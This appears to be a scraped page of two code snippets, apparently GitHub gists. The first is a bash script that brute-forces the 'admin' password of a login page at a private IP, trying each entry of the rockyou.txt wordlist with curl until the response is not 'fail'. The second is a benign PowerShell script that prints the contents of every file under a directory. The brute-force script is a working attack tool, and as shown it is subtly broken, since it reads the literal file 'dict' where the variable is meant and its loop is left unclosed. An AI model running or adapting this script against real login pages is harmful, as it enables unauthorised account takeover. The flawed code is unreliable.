This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| target=http://10.64.183.25/terminal.php?action=login | |
| dict=~/Downloads/rockyou.txt | |
| for pass in $(cat dict); do | |
| user=admin | |
| echo "Trying user: $user & pass: $pass" | |
| response=$(curl -A "secretcomputer" -s -X POST -d "username=$user&password=$pass" "$target") | |
| echo "$response" | |
| if echo "$response" | jq -e '.status != "fail"'; then | |
| echo "[+] Password found: $pass" | |
| break |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $targetDir = "" | |
| Get-ChildItem -Path $targetDir -Recurse -File | ForEach-Object { | |
| $parent = $_.Directory.Name | |
| $name = $_.Name | |
| Write-Output "`n=== $parent\$name ===" | |
| Get-Content -Path $_.FullName -Raw | |
| } |